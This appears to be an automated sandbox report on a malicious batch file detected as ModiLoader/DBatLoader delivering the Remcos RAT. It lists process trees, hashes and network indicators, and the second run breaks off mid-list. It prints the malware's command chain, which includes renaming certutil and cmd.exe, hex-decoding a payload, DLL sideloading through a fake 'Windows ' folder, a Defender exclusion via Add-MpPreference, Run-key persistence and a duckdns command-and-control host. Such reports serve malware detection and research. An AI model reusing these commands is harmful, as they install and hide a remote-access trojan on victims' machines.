C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\easinvoker.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\Aprfgvrz = "C:\\Users\\Public\\Aprfgvrz.url" C:\Users\Public\Libraries\Yano.com N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Yano.com N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Yano.com N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1888 wrote to memory of 4824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1888 wrote to memory of 4824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1888 wrote to memory of 3588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 3588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3588 wrote to memory of 836 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3588 wrote to memory of 836 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1888 wrote to memory of 4244 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 4244 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4244 wrote to memory of 968 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 4244 wrote to memory of 968 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1888 wrote to memory of 2956 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 2956 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2956 wrote to memory of 824 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2956 wrote to memory of 824 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1888 wrote to memory of 4788 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1888 wrote to memory of 4788 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1888 wrote to memory of 4788 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1888 wrote to memory of 2620 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 2620 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1888 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4788 wrote to memory of 4336 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 4788 wrote to memory of 4336 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 4788 wrote to memory of 4336 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 3848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 3848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 3848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 1248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 1248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 1248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4336 wrote to memory of 4296 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 4296 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 4296 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 4336 wrote to memory of 1716 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 4336 wrote to memory of 1716 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 1716 wrote to memory of 3712 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 1716 wrote to memory of 3712 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 3712 wrote to memory of 4920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3712 wrote to memory of 4920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4920 wrote to memory of 2100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4920 wrote to memory of 2100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4788 wrote to memory of 428 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 4788 wrote to memory of 428 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 4788 wrote to memory of 428 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Yano.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\AprfgvrzO.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y

C:\Windows \System32\easinvoker.exe

"C:\Windows \System32\easinvoker.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Yano.com C:\\Users\\Public\\Libraries\\Aprfgvrz.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 3zgtkg.dm.files.1drv.com udp
US 13.107.42.12:443 3zgtkg.dm.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 jaztc.duckdns.org udp
US 192.3.216.131:1808 jaztc.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 131.216.3.192.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 227.162.46.104.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 94912c1d73ade68f2486ed4d8ea82de6
SHA1 524ab0a40594d2b5f620f542e87a45472979a416
SHA256 9f7ebb79def0bf8cccb5a902db11746375af3fe618355fe5a69c69e4bcd50ac9
SHA512 f48a3b7a2e6426c0091bb159599921b8e4644c8ae83a2a2a82efc9d3e21e4e343d77339917d8aabed6d8025142a2a8e74bf1fa759edb6146bc6e39fbece9e05d

C:\Users\Public\kn.exe

MD5 056c7d065f4622da9cc2848f47e2bae2
SHA1 6c6f18b0ec53dc63488961c4240ec584ac71c25f
SHA256 e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c
SHA512 db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

C:\Users\Public\Yano.txt

MD5 4cf5c11880ee66463fbbbd2d00371d09
SHA1 9c438f3129d126279e62d738ced076daf88090af
SHA256 47b157a5a99f3304a954236dd5f85978bd8dfb8a741abefd2798dfc2b2e2a8c7
SHA512 0915ee260c1e625779b7036c049bd2aafc43852d5585f3674bebca41189025db9c13d9cc4543fde579f61128c815107b5d765cc45e24e4f109f4aaf41038a9ce

C:\Users\Public\Libraries\Yano.com

MD5 6e81d417826597c23f59c6dc8d0e9325
SHA1 6b8f936e6d7249471d1acdf5e3ec50faea11211a
SHA256 92286b5317d643787e4109d2d7354e94593416720d0b8f8aa2d497a16a24f377
SHA512 37dfc57c6ada7b379150c1085dcef8b01b4e950f011bc45f50889c883ff28d33a0be4fb0a66f1b1a8d862a6e37dcaf1f810b66bd094b7baff5cfb8f041d198cc

memory/4788-28-0x0000000000B50000-0x0000000000B51000-memory.dmp

memory/4788-29-0x0000000002720000-0x0000000003720000-memory.dmp

memory/4788-30-0x0000000002720000-0x0000000003720000-memory.dmp

memory/4788-32-0x0000000000400000-0x0000000000531000-memory.dmp

C:\Users\Public\Libraries\AprfgvrzO.bat

MD5 828ffbf60677999579dafe4bf3919c63
SHA1 a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc
SHA256 abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
SHA512 bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e

C:\Users\Public\Libraries\easinvoker.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Users\Public\Libraries\aaa.bat

MD5 f4e8f0ec6cfc5c6039402322685cb6ce
SHA1 1037835573c2886dda05d256f15306da89dc645e
SHA256 cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756
SHA512 c5f9dfbbdb437c8ef9e2dd53fcbafcb256ab4626b4637a21332b3112c20f0d5353674031aae21b57604ba80d3b3f51f11b0ed412ed5fa6641b32fc4793746e02

C:\Users\Public\Libraries\netutils.dll

MD5 30468939b69d5b1f29494fff5b161e6b
SHA1 3f900a76e5a00efd97c618c8cdaa55e66384618f
SHA256 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd
SHA512 f59fc26b77b28bc0dce41f2542c95a0fcb32204cc2d840d7cf8e74e10fbfc238f0c360e3bb5d787f32c83668ad10bbe522e098ede52f178dd8555c7af530f27f

memory/1716-54-0x00000000613C0000-0x00000000613E3000-memory.dmp

memory/2100-60-0x0000017AEE960000-0x0000017AEE982000-memory.dmp

memory/2100-61-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

memory/2100-62-0x0000017AEE9F0000-0x0000017AEEA00000-memory.dmp

memory/2100-64-0x0000017AEE9F0000-0x0000017AEEA00000-memory.dmp

memory/2100-66-0x0000017AEEC80000-0x0000017AEECF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1aex4lx.otp.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2100-79-0x0000017AEE9F0000-0x0000017AEEA00000-memory.dmp

memory/2100-107-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

memory/4788-112-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-114-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-115-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-116-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-117-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-118-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-119-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-121-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-127-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-128-0x0000000014970000-0x0000000015970000-memory.dmp

C:\ProgramData\sfsfdrgrre\logs.dat

MD5 d97c819aba365299b1ec9af3d2114e6f
SHA1 c3de6c35659874d530022bc973ef585cdca72859
SHA256 3911184a381f68f7c2731ed8d567d98b28bd98dd1e4158535fd579a57947bac3
SHA512 40ac4204c2f82f856b2ce23a4a82b4205a31200092e50c6f0d7dd944a8ed1419ce8b381811be1b4fb6e8004dcfb88339c9e1250bafd258f822c7a64b6e9b3523

memory/4788-138-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-139-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-149-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-150-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-160-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-161-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-171-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-172-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-182-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-183-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-193-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-194-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-204-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-205-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-215-0x0000000014970000-0x0000000015970000-memory.dmp

memory/4788-216-0x0000000014970000-0x0000000015970000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-04-10 21:02

Reported

2024-04-10 21:08

Platform

win10v2004-20240226-en

Max time kernel

299s

Max time network

293s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\easinvoker.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Aprfgvrz = "C:\\Users\\Public\\Aprfgvrz.url" C:\Users\Public\Libraries\Yano.com N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Yano.com N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 928 wrote to memory of 3516 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 928 wrote to memory of 3516 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 928 wrote to memory of 1016 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 1016 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1016 wrote to memory of 3620 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1016 wrote to memory of 3620 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 928 wrote to memory of 1716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 1716 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1716 wrote to memory of 3928 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1716 wrote to memory of 3928 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 928 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3012 wrote to memory of 1488 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3012 wrote to memory of 1488 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 928 wrote to memory of 228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 928 wrote to memory of 228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 928 wrote to memory of 228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 928 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 928 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 228 wrote to memory of 3832 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 228 wrote to memory of 3832 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 228 wrote to memory of 3832 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 4472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 4696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 4696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 4696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 3644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 3644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 3644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3832 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 592 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 3832 wrote to memory of 2976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 3832 wrote to memory of 2976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 2976 wrote to memory of 3100 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 2976 wrote to memory of 3100 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 3100 wrote to memory of 1180 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3100 wrote to memory of 1180 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1180 wrote to memory of 1420 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 1420 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 228 wrote to memory of 3968 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 228 wrote to memory of 3968 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 228 wrote to memory of 3968 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

C:\Windows\System32\extrac32.exe

